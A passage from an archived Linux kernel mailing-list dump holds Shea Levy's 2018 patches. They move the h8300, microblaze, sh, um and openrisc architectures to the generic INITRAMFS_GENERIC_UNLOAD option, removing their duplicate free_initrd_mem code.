 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index 091d6d04b5e5..58c9b6b1df16 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -24,6 +24,7 @@ config H8300
 	select HAVE_ARCH_HASH
 	select CPU_NO_EFFICIENT_FFS
 	select DMA_DIRECT_OPS
+	select INITRAMFS_GENERIC_UNLOAD
 
 config CPU_BIG_ENDIAN
 	def_bool y
diff --git a/arch/h8300/mm/init.c b/arch/h8300/mm/init.c
index 015287ac8ce8..37574332b202 100644
--- a/arch/h8300/mm/init.c
+++ b/arch/h8300/mm/init.c
@@ -102,13 +102,6 @@ void __init mem_init(void)
 }
 
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 void
 free_initmem(void)
 {
-- 
2.16.2

From - Thu Nov 08 21:41:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 10/16] microblaze: Use INITRAMFS_GENERIC_UNLOAD
Date: Sat, 24 Mar 2018 13:44:52 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20180324174458.26423-11-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521913462 16955 195.159.176.226 (24 Mar 2018 17:44:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:44:22 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
 linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
 uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@lists.linux-m68k.org,
 nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
 linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 linux-riscv@lists.infradead.org, linux-sh@vger.kernel.org,
 user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Mar 24 18:44:17 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1eznDF-0004Jw-1h
	for gla-linux-snps-arc@m.gmane.org; Sat, 24 Mar 2018 18:44:17 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=VVwOeWYW6wDw/bmTai8eVyAD8s9D31/upugj6yaaD4c=; b=LXIXLd3t6+TvWcmbH6PMsKDTD9
	00c15cyfwoXhwJZEaNPst3sCFLI9dGeTVpjOkQL/m5BgnT/gEwX0S/CmoLW1pgulOyuR7EXMvB7JU
	VpKCZh5byA7p6MrcA9Or5NnLlAerjjvbWsJ0UxYlCL77f1Bu8ch8R08lVpW6CGxuy18U+EkPMv5Pc
	QDsZY1ABu/8jpPB9tstWTVc5TVioScfF8t+D07uVBol8pUVSV8QSvkjh3U0dWnD3XoIgzw2MMTxbc
	ZNibUSVp28uCbVyKmvnck4B0dsvwuFaJYDRZen8TjI9lO6lZlzcfra2PprshNnWRBBUXCPx9y5lBx
	HrncLSxQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1eznFG-0004eC-DN; Sat, 24 Mar 2018 17:46:22 +0000
Original-Received: from smtprelay0138.hostedemail.com ([216.40.44.138]
 helo=smtprelay.hostedemail.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1eznF9-0004Qj-GM; Sat, 24 Mar 2018 17:46:18 +0000
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net
 [216.40.38.60])
 by smtprelay02.hostedemail.com (Postfix) with ESMTP id A47446110;
 Sat, 24 Mar 2018 17:46:02 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2, 0, 0, , d41d8cd98f00b204, , :::::::::::::::::::::::::::,
 RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1541:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3876:3877:4250:4321:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21451:21627,
 0,
 RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,
 CacheIP:none, Bayesian:0.5, 0.5, 0.5, Netcheck:none, DomainCache:0,
 MSF:not bulk, SPF:ff, MSBL:0, DNSBL:neutral, Custom_rules:0:0:0, LFtime:19,
 LUA_SUMMARY:none
X-HE-Tag: flag14_51be352318903
X-Filterd-Recvd-Size: 2085
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
 (Authenticated sender: shea@shealevy.com)
 by omf11.hostedemail.com (Postfix) with ESMTPA;
 Sat, 24 Mar 2018 17:46:01 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180324_104616_083620_E389343E 
X-CRM114-Status: UNSURE (   5.51  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: 2.5 (++)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (2.5 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [216.40.44.138 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 2.5 SUSPICIOUS_RECIPS      Similar addresses in recipient list
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3639 gmane.linux.ports.alpha:4849 gmane.linux.kernel:2724523 gmane.linux.ports.parisc:28383 gmane.linux.ports.ppc64.devel:155002 gmane.linux.ports.sh.devel:56706 gmane.linux.uml.devel:16680
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3639>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/microblaze/Kconfig   | 1 +
 arch/microblaze/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index 3817a3e2146c..ef23e8410b4b 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -36,6 +36,7 @@ config MICROBLAZE
 	select TRACING_SUPPORT
 	select VIRT_TO_BUS
 	select CPU_NO_EFFICIENT_FFS
+	select INITRAMFS_GENERIC_UNLOAD
 
 # Endianness selection
 choice
diff --git a/arch/microblaze/mm/init.c b/arch/microblaze/mm/init.c
index df6de7ccdc2e..ea058dfda222 100644
--- a/arch/microblaze/mm/init.c
+++ b/arch/microblaze/mm/init.c
@@ -187,13 +187,6 @@ void __init setup_memory(void)
 	paging_init();
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 void free_initmem(void)
 {
 	free_initmem_default(-1);
-- 
2.16.2

From - Thu Nov 08 21:41:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 15/16] sh: Use INITRAMFS_GENERIC_UNLOAD
Date: Sat, 24 Mar 2018 13:44:57 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20180324174458.26423-16-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1521913466 17283 195.159.176.226 (24 Mar 2018 17:44:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:44:26 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Mar 24 18:44:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eznDG-0004EF-38
	for glk-linux-kernel-4@m.gmane.org; Sat, 24 Mar 2018 18:44:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752878AbeCXRqS (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 24 Mar 2018 13:46:18 -0400
Original-Received: from smtprelay0225.hostedemail.com ([216.40.44.225]:49145 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752643AbeCXRqP (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 24 Mar 2018 13:46:15 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay08.hostedemail.com (Postfix) with ESMTP id 85AE5182CED5B;
        Sat, 24 Mar 2018 17:46:14 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1730:1747:1777:1792:2194:2196:2198:2199:2200:2201:2393:2559:2562:3138:3139:3140:3141:3142:3352:3865:3868:3870:3871:3872:4250:4321:4385:5007:6261:6737:8603:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627:30054,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:2,LUA_SUMMARY:none
X-HE-Tag: wax19_537482f00ee14
X-Filterd-Recvd-Size: 2198
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf02.hostedemail.com (Postfix) with ESMTPA;
        Sat, 24 Mar 2018 17:46:13 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724524 gmane.linux.ports.alpha:4850 gmane.linux.kernel.arc:3640 gmane.linux.ports.parisc:28384 gmane.linux.ports.ppc64.devel:155003 gmane.linux.ports.sh.devel:56707 gmane.linux.uml.devel:16681
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724524>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/sh/Kconfig   | 1 +
 arch/sh/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 97fe29316476..b6f80dad2152 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -50,6 +50,7 @@ config SUPERH
 	select HAVE_ARCH_AUDITSYSCALL
 	select HAVE_FUTEX_CMPXCHG if FUTEX
 	select HAVE_NMI
+	select INITRAMFS_GENERIC_UNLOAD
 	help
 	  The SuperH is a RISC processor targeted for use in embedded systems
 	  and consumer electronics; it was also used in the Sega Dreamcast
diff --git a/arch/sh/mm/init.c b/arch/sh/mm/init.c
index ce0bbaa7e404..7451459d0725 100644
--- a/arch/sh/mm/init.c
+++ b/arch/sh/mm/init.c
@@ -477,13 +477,6 @@ void free_initmem(void)
 	free_initmem_default(-1);
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 #ifdef CONFIG_MEMORY_HOTPLUG
 int arch_add_memory(int nid, u64 start, u64 size, struct vmem_altmap *altmap,
 		bool want_memblock)
-- 
2.16.2



From - Thu Nov 08 21:41:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 16/16] um: Use INITRAMFS_GENERIC_UNLOAD
Date: Sat, 24 Mar 2018 13:44:58 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20180324174458.26423-17-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1521913466 17302 195.159.176.226 (24 Mar 2018 17:44:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:44:26 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Mar 24 18:44:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eznDI-0004MN-1O
	for glk-linux-kernel-4@m.gmane.org; Sat, 24 Mar 2018 18:44:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752894AbeCXRqZ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 24 Mar 2018 13:46:25 -0400
Original-Received: from smtprelay0187.hostedemail.com ([216.40.44.187]:52121 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752850AbeCXRqR (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 24 Mar 2018 13:46:17 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay05.hostedemail.com (Postfix) with ESMTP id 6112C18029586;
        Sat, 24 Mar 2018 17:46:16 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3352:3868:4250:4321:4385:5007:6119:6261:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21451:21627:30054,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:1,LUA_SUMMARY:none
X-HE-Tag: van88_53baae234fa17
X-Filterd-Recvd-Size: 2042
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf02.hostedemail.com (Postfix) with ESMTPA;
        Sat, 24 Mar 2018 17:46:15 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724525 gmane.linux.ports.alpha:4851 gmane.linux.kernel.arc:3641 gmane.linux.ports.parisc:28385 gmane.linux.ports.ppc64.devel:155004 gmane.linux.ports.sh.devel:56708 gmane.linux.uml.devel:16682
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724525>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/um/Kconfig.common | 1 +
 arch/um/kernel/mem.c   | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/um/Kconfig.common b/arch/um/Kconfig.common
index c68add8df3ae..1cb8a023938b 100644
--- a/arch/um/Kconfig.common
+++ b/arch/um/Kconfig.common
@@ -13,6 +13,7 @@ config UML
 	select GENERIC_CLOCKEVENTS
 	select HAVE_GCC_PLUGINS
 	select TTY # Needed for line.c
+	select INITRAMFS_GENERIC_UNLOAD
 
 config MMU
 	bool
diff --git a/arch/um/kernel/mem.c b/arch/um/kernel/mem.c
index 3c0e470ea646..2d26eec92126 100644
--- a/arch/um/kernel/mem.c
+++ b/arch/um/kernel/mem.c
@@ -170,13 +170,6 @@ void free_initmem(void)
 {
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 /* Allocate and free page tables. */
 
 pgd_t *pgd_alloc(struct mm_struct *mm)
-- 
2.16.2



From - Thu Nov 08 21:41:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 12/16] openrisc: Use INITRAMFS_GENERIC_UNLOAD
Date: Sat, 24 Mar 2018 13:44:54 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20180324174458.26423-13-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521913472 17608 195.159.176.226 (24 Mar 2018 17:44:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:44:32 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
 linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
 uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@lists.linux-m68k.org,
 nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
 linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 linux-riscv@lists.infradead.org, linux-sh@vger.kernel.org,
 user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Mar 24 18:44:27 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1eznDO-0004Tb-9j
	for gla-linux-snps-arc@m.gmane.org; Sat, 24 Mar 2018 18:44:26 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=/EdcBejCTElrGGrp3RqZ3/A5VfDTtt/VJIgMgATFiRk=; b=rNhRq29RbnU1A72RLn+dcsn/t4
	TY/63pecmCe97La1OaKUY1xbJiASwQ+p64xBOYLo7g/7l21z9N0kdT0Md0vNKiVZsChsI9fC1CxhL
	PJ3kfKmcfUr+z8MPX/Cx6ZLBjHJ+8Fd6oeBJYiDFtYpRlFskxMcwbeFgDUlStke61XhRPQ6bPFLc9
	7F36wzD9UBLNyqWNUCsjd5MpKrjhp49/LldyLC2JrgpfbUJzmVrifYk28QjgLQxDHyhbmJWWl6O5O
	Ryu2NJeXciyaO4Ox4e+LdeofxmLaOWsmUzIwxmUbXmKrsamXhQpwvC4KU7eR9264UeavT459iuecQ
	aBKVZuGQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1eznFQ-0004ko-Fc; Sat, 24 Mar 2018 17:46:32 +0000
Original-Received: from smtprelay0243.hostedemail.com ([216.40.44.243]
 helo=smtprelay.hostedemail.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1eznFE-0004U4-FA; Sat, 24 Mar 2018 17:46:24 +0000
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net
 [216.40.38.60])
 by smtprelay01.hostedemail.com (Postfix) with ESMTP id 4FEB8100E86C4;
 Sat, 24 Mar 2018 17:46:07 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2, 0, 0, , d41d8cd98f00b204, , :::::::::::::::::::::::::::,
 RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3876:3877:4250:4321:4385:5007:6114:6119:6261:6642:6737:7974:9592:10004:10848:11026:11473:11658:11914:12048:12114:12438:12533:12555:12895:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627:30054,
 0,
 RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,
 CacheIP:none, Bayesian:0.5, 0.5, 0.5, Netcheck:none, DomainCache:0,
 MSF:not bulk, SPF:ff, MSBL:0, DNSBL:neutral, Custom_rules:0:0:0, LFtime:19,
 LUA_SUMMARY:none
X-HE-Tag: knife86_5263b9c89804c
X-Filterd-Recvd-Size: 2069
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
 (Authenticated sender: shea@shealevy.com)
 by omf09.hostedemail.com (Postfix) with ESMTPA;
 Sat, 24 Mar 2018 17:46:06 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180324_104620_818883_5B29D4C2 
X-CRM114-Status: UNSURE (   5.51  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: 2.5 (++)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (2.5 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [216.40.44.243 listed in list.dnswl.org]
 -0.0 RCVD_IN_MSPIKE_H3      RBL: Good reputation (+3)
 [216.40.44.243 listed in wl.mailspike.net]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 2.5 SUSPICIOUS_RECIPS      Similar addresses in recipient list
 -0.0 RCVD_IN_MSPIKE_WL      Mailspike good senders
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3642 gmane.linux.ports.alpha:4852 gmane.linux.kernel:2724526 gmane.linux.ports.parisc:28386 gmane.linux.ports.ppc64.devel:155005 gmane.linux.ports.sh.devel:56709 gmane.linux.uml.devel:16683
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3642>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/openrisc/Kconfig   | 1 +
 arch/openrisc/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index dfb6a79ba7ff..0f8d2132baa5 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -36,6 +36,7 @@ config OPENRISC
 	select OMPIC if SMP
 	select ARCH_WANT_FRAME_POINTERS
 	select GENERIC_IRQ_MULTI_HANDLER
+	select INITRAMFS_GENERIC_UNLOAD
 
 config CPU_BIG_ENDIAN
 	def_bool y
diff --git a/arch/openrisc/mm/init.c b/arch/openrisc/mm/init.c
index 6972d5d6f23f..c1a3dcf9ad40 100644
--- a/arch/openrisc/mm/init.c
